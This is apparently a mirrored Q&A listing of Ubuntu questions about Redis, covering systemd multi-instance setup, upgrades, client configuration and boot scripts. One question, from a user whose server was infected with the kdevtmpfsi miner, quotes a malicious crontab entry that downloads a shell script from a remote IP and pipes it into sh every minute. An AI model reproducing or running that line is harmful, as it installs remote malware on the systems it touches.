AskOverflow.Dev

AskOverflow.Dev Logo AskOverflow.Dev Logo

AskOverflow.Dev Navigation

  • 主页
  • 系统&网络
  • Ubuntu
  • Unix
  • DBA
  • Computer
  • Coding
  • LangChain

Mobile menu

Close
  • 主页
  • 系统&网络
    • 最新
    • 热门
    • 标签
  • Ubuntu
    • 最新
    • 热门
    • 标签
  • Unix
    • 最新
    • 标签
  • DBA
    • 最新
    • 标签
  • Computer
    • 最新
    • 标签
  • Coding
    • 最新
    • 标签
主页 / ubuntu / 问题

问题[redis](ubuntu)

Martin Hope
aphid
Asked: 2020-08-26 07:14:17 +0800 CST

使用 [email protected] 运行多个 redis 实例

  • 1

一个 redis-cluster 至少包含 6 个 redis 实例。故障转移群集的合理最小大小是 3 个节点。因此,我想在同一个节点上运行 2 个 redis 实例(但从不在同一个节点上运行两次相同的 redis 数据桶)作为一个最小的工作示例。我在使用标准配置工具在 ubuntu 下进行此设置时遇到了一些麻烦。

我的 redis 设置还涉及/需要一些redis-sentinel我认为也需要更改配置的东西。主要问题是:一个哨兵就足够了,还是我们需要两个redis-sentinels,两个redis-servers?(/lib/systemd/system/redis-sentinel@似乎存在)。

开箱即用,ubuntu 提供了一个特殊的/lib/systemd/system/redis-server@systemd 单元脚本,可以支持这些额外的服务器。我需要做什么才能拥有:

systemctl start redis-server@2

启动我的第二台服务器?

特别是:

  • 我已将端口 6380 添加到配置文件中,作为第二台服务器侦听的端口。
  • 如何克隆、编辑、指向配置文件以及哪些配置文件需要克隆。
  • 如何配置哨兵。
  • 如何保证redis不会把同一个slot的master和slave放在同一个节点上(达不到目的)。
  • 如何确保 PIDfile 可访问(默认情况下,由于不允许用户 redis 访问 pidfile 等目录中的 pidfile,因此存在拒绝访问消息redis-2)。

现在的进展

我复制了cp /etc/redis/redis-server.conf /etc/redis/redis-server-2.conf和chown redis.redis /etc/redis/redis-server-2.conf,然后编辑了

port = 6380
pidfile /var/run/redis-2/redis-server.pid
logfile /var/log/redis/redis-server-2.log

到目前为止,第二台服务器仅在 450 秒后超时(有没有办法缩短这段时间?测试/弄清楚这一点需要很长时间......)在所述日志文件中找到相当不透明的消息/var/log/redis/redis-server-2.log:

oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
Redis version=5.0.7, bits=64, commit=00000000, modified=0, pid=671078, just started
Configuration loaded
systemd supervision requested, but NOTIFY_SOCKET not found
Can't open nodes-6380.conf in order to acquire a lock: Read-only file system

前几条消息是即时的,而最后一条消息是在消息的其余部分之后不久打印的。它通常需要大约 2 毫秒才能弹出。之后,在分配给启动的剩余 89,998ms 时间内没有出现任何消​​息,之后 systemd 停止程序(可能是强制)并重试 4 次。(这就是每次尝试 450 秒的来源)。

这不可能Read-only file system是真正的问题。nodes-6379.conf服务可以轻松访问,该服务redis-server启动时没有问题。

我尝试过的相关内容

一个可能有趣的观察是是否redis-server@2会在主redis-server节点停止时启动。这没有效果。无论前者是启动还是停止,redis-server@2总是会以同样的速度失败并显示同样的神秘错误消息。

手动启动第二台服务器时,使用/usr/bin/redis-server /etc/redis/redis-2.conf它运行的命令,甚至接受集群连接,因此似乎可以工作。问题似乎出在 systemd 上。

进一步看,通过将ExecStart参数更改为

ExecStart=strace -f -o /var/log/redis/strace.out /usr/bin/redis-server /etc/redis/redis-%i.conf

并运行

touch /var/log/redis/strace.out
chown redis.adm /var/log/redis/strace.out

现在有该过程的 strace 输出。它产生了一个孩子,这个特定的行出错了:

811493 openat(AT_FDCWD, "nodes-6380.conf", O_WRONLY|O_CREAT, 0644) = -1 EACCES (Permission denied)

让我相信 systemd 在单元文件中使用了一个奇怪的 CWD 路径/lib/systemd/system/redis-server@。openat对于默认服务和手动启动,相同的调用成功。

systemd redis
  • 1 个回答
  • 1947 Views
Martin Hope
Thirumal
Asked: 2020-05-27 17:16:52 +0800 CST

如何在 Ubuntu 20.04 中安装 Redis-Server 6.0.1?

  • 0

我的系统中有 Redis 版本 5.0.7,是否有任何命令可以更新到 6.0.1?

database redis
  • 2 个回答
  • 8589 Views
Martin Hope
Fábio Junio Alves Sousa
Asked: 2020-04-09 10:33:39 +0800 CST

我的 Ubuntu 服务器被病毒 kdevtmpfsi 感染

  • 11

在此处输入图像描述

我的 Ubuntu 服务器被病毒 kdevtmpfsi 感染,我已经完成了几个步骤来解决这个问题,就像所有这些:https ://github.com/docker-library/redis/issues/217 。

但是当带有redis的docker容器运行时,它仍然会一次又一次地出现。

但是还有一件事我不能做,当我运行命令for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done查看所有用户 crontab 时,这是我的输出:

no crontab for gdm
fabio
* * * * * wget -q -O - http://195.3.146.118/unk.sh | sh > /dev/null 2>&1
debian-tor
no crontab for debian-tor
deploy
no crontab for deploy
redis
no crontab for redis

wgetcrontab 中有一个用于下载脚本的可疑作业sh,我找不到如何删除它,而且我不确定当我使用 redis 打开 docker 容器时这是否会再次出现。

看上面的图片,运行这个病毒的“用户”是一个用户“999”我不知道这是怎么可能的,因为这个用户不存在。

我能做些什么来解决这个问题?

cron docker sh redis
  • 6 个回答
  • 21274 Views
Martin Hope
DroidOS
Asked: 2020-02-21 13:33:43 +0800 CST

在其他服务启动后在启动时运行 PHP 脚本

  • 2

要将定期天气更新到我的 Redis 数据库中,我尝试使用的方案如下

我有一个从相关天气 API 获取天气的 PHP 脚本。它是这样的

<?php
 function getWeather()
 {
  if (weatherupdaterequired)
  {
   //weather API call
   //parse and store to database
  }
 }

 while (true)
 {
  getWeather();
  sleep(30);
 }
?>

它存储在我的/usr/local/bin文件夹中。在同一个文件夹中,我有一个 shell 脚本,runweather它就是这样做的:

#!/bin/sh
nohup php /usr/local/bin/echoweather.php  >/dev/null 2>&1 &

我通常倾向于使用#!/bin/bash,但在这种情况下,我发现在启动时运行 - 正如您将在下面看到的那样 - 只能#!/bin/sh工作。我认为这与尚不可用的 bash shell 有关。

然后我创建了一个符号链接runweather

ln -s /usr/local/bin/runweather /etc/init.d/runweather

然后是另一个符号链接

ln -s /etc/init.d/runweather /etc/rc2.d/S99runweather

一些解释性说明

  1. 就是/usr/local/bin/echoweather.php在做所有真正的工作。它以 30 秒的间隔运行,不工作时休眠
  2. 在终止每次运行之前,它会放置一个临时 Redis 密钥$redis-setEx("weatherreport",29,$echoCount)`,我可以使用它来密切关注其运行状况
  3. echoweather.php将在启动时运行的 shell 脚本放在 中/usr/local/bin,然后将其/etc/init.d符号链接,然后再将其符号链接,/etc/rc2.d可能看起来很复杂。我这样做是因为我发现如果我将实际的 shell 脚本放入/etc/init.d然后将其符号链接到/etc/rc2.d它不会执行。

这个方案正在奏效。我重新启动了我的服务器几次,并通过 redis-cli 在 Redis中echoweather.php查找密钥来检查运行状况 - 始终存在且正确。weatherreport但是,在处理 Ubuntu 启动脚本时,我是一个业余爱好者。也许有更简单的方法来做事?我非常感谢任何能够发表评论的人。

autostart startup php redis
  • 1 个回答
  • 3170 Views
Martin Hope
Houman
Asked: 2019-08-03 00:23:37 +0800 CST

redis-cli 的配置在哪里?

  • 3

我在其中一台服务器上安装了 redis 客户端(没有服务器):

sudo apt install redis-tools

我想使用 redis-cli 连接到安装了 redis 的中央服务器。

但是因为我没有安装服务器,所以这个路径没有可用的配置文件:

/etc/redis/redis.conf

有没有办法创建配置,所以我不必-h每次都使用?

18.04 redis
  • 1 个回答
  • 3620 Views
Martin Hope
Asarluhi
Asked: 2019-03-26 07:46:46 +0800 CST

redis 和 redis-server 包

  • 0

我想redis在Ubuntu 18.04 LTS.
我注意到有两个包:redis和redis-server。一些文档(例如DigitalOcean)建议使用 redis-server 包,而其他文档(例如linuxconfig)则使用 redis 包。有什么区别吗?redis 包仅依赖于 redis-server 包,所以我可能认为它可以作为指向后者的简单链接。

18.04 redis
  • 1 个回答
  • 350 Views
Martin Hope
JasonGenX
Asked: 2019-02-12 10:11:25 +0800 CST

无法升级到 Redis Server 4.x

  • 0

为什么我的系统告诉我版本 3.x 是最新的,而显然有版本 4 甚至 5?

$ sudo apt-get install redis-server

Reading package lists... Done
Building dependency tree       
Reading state information... Done
redis-server is already the newest version (2:3.0.6-1ubuntu0.3).

运行apt policy redis-server输出:

redis-server:
  Installed: 2:3.0.6-1ubuntu0.3
  Candidate: 2:3.0.6-1ubuntu0.3
  Version table:
 *** 2:3.0.6-1ubuntu0.3 500
        500 http://us-east-2.ec2.archive.ubuntu.com/ubuntu xenial-updates/universe amd64 Packages
        500 http://security.ubuntu.com/ubuntu xenial-security/universe amd64 Packages
        100 /var/lib/dpkg/status
     2:3.0.6-1 500
        500 http://us-east-2.ec2.archive.ubuntu.com/ubuntu xenial/universe amd64 Packages

我也跑sudo apt-get update了也没有用。我的系统(Ubuntu 16.04)坚持 3 i 最新版本。我能做些什么来解决这个问题?

apt redis
  • 1 个回答
  • 3802 Views
Martin Hope
Rajat jain
Asked: 2019-01-15 23:04:20 +0800 CST

systemd rqworker 服务

  • 1

Systemd 服务,我想创建但它失败了。这是我创建的服务。

[Unit]
Description=rqworker daemon
After=network.target

[Service]
Type=simple
WorkingDirectory=/home/ubuntu/mamster
User=ubuntu
Group=ubuntu
#EnvironmentFile=/etc/sysconfig/master.env
#Environment="PYTHONPATH=/home/ubuntu/venv"
ExecStart=/home/ubuntu/venv /venv/bin/rqworker master
StandardOutput=/home/ubuntu/logs/icengine/std_out.log
StandardError=/home/ubuntu/logs/icengine/std_err/log
#SyslogIdentifier=icengin
KillMode=process
Restart=always
TimeoutSec=infinity
RestartPreventExitStatus=255
Type=notify

[Install]
WantedBy=multi-user.target
Alias=master.service

最初这项服务是Actiating(Start)但不是Active

但是在我做了一些更改之后,现在它显示错误:

运行后sudo systemctl start rq

(venv) ubuntu@ubuntucalc:~$ sudo systemctl status rq
● rq.service - rqworker daemon
   Loaded: loaded (/etc/systemd/system/rq.service; enabled; vendor preset: enabled)
   Active: failed (Result: exit-code) since Tue 2019-01-15 06:53:20 UTC; 4s ago
  Process: 18537 ExecStart=/home/ubuntu/venv /venv/bin/rqworker master (code=exited, status=200/CHDIR)
 Main PID: 18537 (code=exited, status=200/CHDIR)

Jan 15 06:53:20 ubuntucalc systemd[1]: rq.service: Main process exited, code=exited, status=200/CHDIR
Jan 15 06:53:20 ubuntucalc systemd[1]: rq.service: Failed with result 'exit-code'.
Jan 15 06:53:20 ubuntucalc systemd[1]: Failed to start rqworker daemon.
Jan 15 06:53:20 ubuntucalc systemd[1]: rq.service: Service hold-off time over, scheduling restart.
Jan 15 06:53:20 ubuntucalc systemd[1]: rq.service: Scheduled restart job, restart counter is at 5.
Jan 15 06:53:20 ubuntucalc systemd[1]: Stopped rqworker daemon.
Jan 15 06:53:20 ubuntucalc systemd[1]: rq.service: Start request repeated too quickly.
Jan 15 06:53:20 ubuntucalc systemd[1]: rq.service: Failed with result 'exit-code'.
Jan 15 06:53:20 ubuntucalc systemd[1]: Failed to start rqworker daemon.

这是我得到的输出。谢谢

server services systemd supervisor redis
  • 1 个回答
  • 985 Views
Martin Hope
stdcerr
Asked: 2018-10-11 20:04:17 +0800 CST

无法使用 npm 安装 redis 和 moment

  • 0

我需要使用在我的系统上npm安装软件包redis和moment但它没有发生,我得到了这个:

$ npm install redis;npm install moment
/home/ron
└─┬ [email protected] 
  ├── [email protected] 
  ├── [email protected] 
  └── [email protected] 

npm WARN enoent ENOENT: no such file or directory, open '/home/ron/package.json'
npm WARN ron No description
npm WARN ron No repository field.
npm WARN ron No README data
npm WARN ron No license field.
/home/ron
├── [email protected] 
└── [email protected] 

npm WARN enoent ENOENT: no such file or directory, open '/home/ron/package.json'
npm WARN ron No description
npm WARN ron No repository field.
npm WARN ron No README data
npm WARN ron No license field.

我也尝试sudo过,但得到了相同的结果......我该如何解决这个问题?

package-management npm redis
  • 2 个回答
  • 481 Views
Martin Hope
Bryant
Asked: 2018-09-10 08:46:31 +0800 CST

18.04 服务器 - 无法找到包 redis-server [重复]

  • 7
这个问题在这里已经有了答案:
如何启用“Universe”存储库? (4 个回答)
3年前关闭。

我安装了全新安装的 18.04 服务器。该软件包redis-server似乎无法安装。我不确定为什么:

$ sudo apt install redis-server
Reading package lists... Done
Building dependency tree       
Reading state information... Done
E: Unable to locate package redis-server

该软件包似乎不存在:

$ sudo apt-cache search redis
miscfiles - Dictionaries and other interesting files
python-redis - Persistent key-value database with network interface (Python library)
resource-agents - Cluster Resource Agents

我已经跑了apt update。我猜它缺少一个软件包存储库,但由于这是一个全新的安装,我不确定它为什么会丢失一个,或者如何修复它。

root@:/etc/newrelic# sudo apt-get install nri-redis 
Reading package lists... Done 
Building dependency tree 
Reading state information... Done 
E: Unable to locate package nri-redis
software-installation package-management server apt redis
  • 2 个回答
  • 16163 Views

Sidebar

Stats

  • 问题 205573
  • 回答 270741
  • 最佳答案 135370
  • 用户 68524
  • 热门
  • 回答
  • Marko Smith

    如何运行 .sh 脚本?

    • 16 个回答
  • Marko Smith

    如何安装 .tar.gz(或 .tar.bz2)文件?

    • 14 个回答
  • Marko Smith

    如何列出所有已安装的软件包

    • 24 个回答
  • Marko Smith

    无法锁定管理目录 (/var/lib/dpkg/) 是另一个进程在使用它吗?

    • 25 个回答
  • Martin Hope
    Flimm 如何在没有 sudo 的情况下使用 docker? 2014-06-07 00:17:43 +0800 CST
  • Martin Hope
    Ivan 如何列出所有已安装的软件包 2010-12-17 18:08:49 +0800 CST
  • Martin Hope
    La Ode Adam Saputra 无法锁定管理目录 (/var/lib/dpkg/) 是另一个进程在使用它吗? 2010-11-30 18:12:48 +0800 CST
  • Martin Hope
    David Barry 如何从命令行确定目录(文件夹)的总大小? 2010-08-06 10:20:23 +0800 CST
  • Martin Hope
    jfoucher “以下软件包已被保留:”为什么以及如何解决? 2010-08-01 13:59:22 +0800 CST
  • Martin Hope
    David Ashford 如何删除 PPA? 2010-07-30 01:09:42 +0800 CST

热门标签

10.10 10.04 gnome networking server command-line package-management software-recommendation sound xorg

Explore

  • 主页
  • 问题
    • 最新
    • 热门
  • 标签
  • 帮助

Footer

AskOverflow.Dev

关于我们

  • 关于我们
  • 联系我们

Legal Stuff

  • Privacy Policy

Language

  • Pt
  • Server
  • Unix

© 2023 AskOverflow.DEV All Rights Reserve